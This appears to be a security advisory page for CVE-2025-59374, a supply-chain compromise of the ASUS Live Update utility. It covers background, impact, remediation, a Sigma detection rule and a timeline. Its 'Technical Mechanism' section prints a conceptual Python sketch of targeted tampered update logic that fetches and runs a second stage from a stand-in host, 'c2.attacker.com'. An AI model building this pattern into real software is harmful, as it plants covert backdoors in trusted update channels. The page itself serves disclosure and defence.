Skip to main content
CVE-2025-59374 High No Patch

CVE-2025-59374: ASUS Live Update -- Embedded Malicious Code (Supply Chain)

CVE Details

CVE ID CVE-2025-59374
CVSS Score 7.5
Severity High
Vendor ASUS
Product ASUS Live Update
Patch Status Not Available
Published December 17, 2025
EPSS Score 1.1%
CISA Patch Deadline ⚠ January 7, 2026 Federal deadline passed

Background

ASUS Live Update is the automatic firmware and software update utility pre-installed on ASUS laptops and desktops, used to deliver driver, BIOS, and application updates from ASUS servers. Supply chain attacks targeting update mechanisms are among the most dangerous attack vectors because they abuse trusted software distribution channels to compromise victims at scale.

CVE-2025-59374 is classified under CWE-506 (Embedded Malicious Code), indicating that ASUS Live Update clients were distributed containing unauthorized modifications — code added by a malicious actor rather than ASUS. Modified builds were designed to activate only when specific targeting conditions were met on a device, suggesting a highly targeted operation rather than mass exploitation. The product may be EoL/EoS, meaning no future patches are expected. CISA added this to the KEV catalog on 2025-12-17.

This mirrors the 2019 “Operation ShadowHammer” attack — also targeting ASUS Live Update — attributed to the Lazarus Group. The recurrence of supply chain attacks against ASUS update infrastructure highlights the persistent interest of sophisticated threat actors in this distribution vector.

Technical Mechanism

CWE-506 (Embedded Malicious Code) describes software that has been intentionally modified to include code for unauthorized or malicious purposes. In supply chain attacks against update utilities, attackers typically compromise the build pipeline, update server, or code signing process to inject malicious logic.

# Conceptual malicious code pattern in tampered update binary
import hashlib
import subprocess

def check_targeting_conditions():
    # Malicious targeting: only activate on specific MAC addresses or machine IDs
    mac = get_mac_address()
    target_hashes = load_target_list_from_c2()
    return hashlib.md5(mac.encode()).hexdigest() in target_hashes

def run_update():
    if check_targeting_conditions():
        # Install persistent backdoor only on targeted devices
        download_and_exec("http://c2.attacker.com/stage2")
    else:
        # Appear benign to non-targeted systems
        perform_normal_update()

The targeting logic means that most devices receiving the modified update appear unaffected, masking the attack’s scope and delaying detection.

Real-World Exploitation Evidence

The targeting-condition mechanism is characteristic of sophisticated nation-state operations focused on espionage rather than mass impact. Operation ShadowHammer (2019) affected approximately 1 million devices but targeted only a small number, with attribution pointing to Lazarus Group (North Korea). This new variant follows the same pattern. Targeted devices likely belong to individuals or organizations of intelligence interest. Post-compromise activity typically includes persistent implant installation, credential harvesting, and reconnaissance.

Impact Assessment

  • Targeted device compromise via trusted ASUS update mechanism
  • Persistent backdoor installation on targeted systems
  • Credential harvesting and data exfiltration from targeted individuals
  • Bypass of traditional security controls due to trusted software source
  • Potential for lateral movement from compromised high-value endpoints

Affected Versions

ProductAffectedFixed
ASUS Live UpdateSpecific compromised versions (see ASUS advisory)No patch for EoL versions; replace utility
ASUS devices with pre-installed Live UpdateVersions distributed during compromise windowVerify binary integrity; reinstall from clean source

Remediation Steps

  1. Verify the integrity of ASUS Live Update binaries using checksums from ASUS’s official advisory.
  2. Uninstall ASUS Live Update if the product is EoL/EoS.
  3. Perform full system reimaging on devices confirmed to have run compromised versions.
  4. Rotate credentials from any system that ran affected versions.
  5. Review network logs for outbound connections to known C2 infrastructure.
  6. Consider deploying application whitelisting to prevent unauthorized executables.

Detection Guidance

Log Sources: EDR process telemetry, network flow logs, Windows Event Logs.

IOCs: ASUS Live Update process making outbound connections to non-ASUS infrastructure; unexpected child processes; new scheduled tasks or services created by the update utility.

Sigma rule:

title: ASUS Live Update Malicious Outbound Connection CVE-2025-59374
logsource:
  product: windows
  category: network_connection
detection:
  selection:
    Image|endswith: '\AsusUpdate.exe'
    Initiated: 'true'
  filter:
    DestinationHostname|endswith:
      - '.asus.com'
      - '.asuscloud.com'
  condition: selection and not filter
level: critical

Timeline

DateEvent
2019Operation ShadowHammer — prior ASUS Live Update supply chain attack
2025-12CVE-2025-59374 disclosed
2025-12-17CISA adds to KEV catalog; targeted exploitation confirmed

References